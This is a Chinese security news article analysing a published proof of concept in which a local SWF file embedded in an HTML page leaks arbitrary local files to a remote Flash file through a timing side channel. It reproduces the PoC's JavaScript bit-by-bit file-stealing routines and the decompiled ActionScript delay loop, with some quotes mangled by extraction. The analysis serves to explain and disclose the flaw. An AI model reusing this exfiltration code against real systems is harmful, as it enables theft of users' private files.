当前位置:主页>资 讯>安全动态>

本地SWF文件可将任意本地文件泄露于互联网

Flash文件在设计的时候就允许本地的swf文件读取任意的本地文件。Flash Player版本不高于7时,本地SWF文件可与其它SWF文件交互并且可以从任何远程或本地位置加载数据。

原理

在Flash Player 8 和更高版本中,SWF 文件不能连接本地文件系统和 Internet。 但是通过时间旁路通道(timing side-channel),却可以实现提取任意本地文件的内容并传送到网络上(详细说明,可参见[1],[2])。

Google浏览器会阻止(应该是有提示吧)下载“.swf”后缀的文件,来降低对本地文件系统规则的攻击,但是却没有阻止swf文件以不同的文件后缀嵌入进去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。当多个swf文件运行在同一个浏览器,但在不同的frame下,或者不同的tab下时,一次只有一个swf文件可以运行ActionScript脚本。

这也就意味着,本地的swf文件可以通过耗时的操作(如直接循环一个时间段等),使加载的网络上的swf文件的外部接口调用(ExternalInterface call)出现延迟。这样根据读取的本地文件的信息(如读取一个字节时,bit位为1出现延迟,bit位为0,不设置延迟),决定是否出现相应的延迟,网络上的swf文件检测这一延迟,即可获取到读取的文件信息。

本地html文件显然不能直接和网络上的swf文件进行交互,但是本地的html文件可以通过frame加载网络上的swf文件。

POC分析

原作者提供的poc分析 ([4],[5]),打开后发现乱码,winhex一看,果断嵌入了swf文件(提供的poc代码中没有这个swf文件,如图1),偏移0xd65后的内容为html文件的内容:
 


 

0xD65后的内容极为html文件的内容。

看了下作者html中的js代码:

/* check the response time of flash */

function ping(cb) {

var l;

window.addEventListener(,message,, l = function(e) {

window.removeEventListener(,message,, l);

//console.log(,got delay ,+e.data.delay)

cb(e.data.delay);

});

document.getElementById(,ifr,).contentWindow.postMessage(,ping,, ,*,);

}

/* steal one bit */

function getbit(path, char, mask, cb) {

path = encodeURIComponent(path);

document.getElementById(,div,).innerHTML =

,,;//这个地方应该就是[3]提及的那个bug,src换位本地的地址后,poc没能成功读取本地文件内容//作者将本地的swf文件和html文件合并在一起了,path为文件路径

setTimeout(function() {

ping(function(res) {

setTimeout(function() {

cb(res > 100);//根据延迟得到bit位的值

}, 500);

});

}, 200);

}

/* steal one byte */

function getbyte(path, char, cb) {

var byte = 0;

var mask = 1;

function getbyte_() {

//console.log(,getbyte_ mask=,+mask)

getbit(path, char, mask, function(is_set) {//根据mask的那一bit为1,决定读取char中的某一bit位

//console.log(,mask=,+mask+, set=,+is_set);

if (is_set) byte |= mask;if (mask == 0x80) return cb(String.fromCharCode(byte));

mask <<= 1;

getbyte_();

});

/* steal an entire file */function run() {

var path = document.getElementById(,path,).value;

console.log(,path=,+path)

var i = 0;

var text = ,,;

function run_() {//其实这里应该有个判断文件长度的,当然应该由swf文件把文件长度信息返回回来

getbyte(path, i, function(char) {

console.log(,got char: ,+char)

text += char;

i++;

document.getElementById(,out,).innerText = text;

run_();

});

}

run_();}

从作者给的html文件中提前swf后反编译,反编译后在swf脚本下有class_writer这一项:
 


 

里面的主要两个函数的代码:

public static function completeHandler(arg1:flash.events.Event):void

{

var loc1:*=0;

if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0)

{//该bit位为1则循环,因此会出现延迟

loc1 = flash.utils.getTimer() + 400;

do

{

}

while (flash.utils.getTimer() < loc1);

}

return;

}

public static function main():void

{

Writer.timer = new haxe.Timer(1);

Writer.timer.run = function ():void

{

var loc1:*;

var loc2:*=null;

var loc3:*=undefined as null;

var loc4:*=undefined as null;

if (flash.Lib.current.stage != null)

{

false;

}

if (false)

{

Writer.timer.stop();

loc2 = flash.Lib.current.loaderInfo.parameters;

Writer.path = loc2.path;//文件路径

Writer.char = Std.parseInt(loc2.char);//获取哪一字节的数据

Writer.mask = Std.parseInt(loc2.mask);//与之按位与,可确定获取的bit位的值

loc3 = new flash.net.URLRequest(Writer.path);

Writer.loader = new flash.net.URLLoader();

Writer.loader.addEventListener(flash.events.Event.COMPLETE, Writer.completeHandler);

}

return;

}

return;

}

Frame中嵌入的html文件的js代码:

作者poc google浏览器下运行效果:
 

(责任编辑:安博涛)

分享到:

更多
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
  • 微笑/wx
  • 撇嘴/pz
  • 抓狂/zk
  • 流汗/lh
  • 大兵/db
  • 奋斗/fd
  • 疑问/yw
  • 晕/y
  • 偷笑/wx
  • 可爱/ka
  • 傲慢/am
  • 惊恐/jk
用户名: 验证码:点击我更换图片
资料下载专区
图文资讯

由蜜罐引发的物联网安全小谈

由蜜罐引发的物联网安全小谈

最近几年,物联网正以迅雷不及掩耳之势四处圈地,凡联网之物都能被黑的恶名也如影随形...[详细]

女子傻眼:银行卡刚存30万,瞬间只剩400

女子傻眼:银行卡刚存30万,瞬间只剩400

个人信息被泄露,在这个年代,好像已经屡见不鲜。但昨天,记者从海曙检察院听闻了一个...[详细]

黑客针对香港的网络攻击中利用了新型的IE浏

黑客针对香港的网络攻击中利用了新型的IE浏览器0day

微软公司在昨日修复了漏洞(CNNVD-201508-429),但攻击者已经在进行水坑攻击的过程中利...[详细]

骗子植入手机木马的10大招术:看完你将会“

骗子植入手机木马的10大招术:看完你将会“百毒不侵”

一、冒充移动客服10086 此类案件中,犯罪分子通过技术手段伪装成移动客服10086向不特...[详细]

滴滴打车有漏洞 淘宝买个软件免费打车

滴滴打车有漏洞 淘宝买个软件免费打车

近日,重庆晚报记者接到读者反映,不法商人用黑客软件刷券在淘宝网销售,声称只要几元...[详细]

返回首页 返回顶部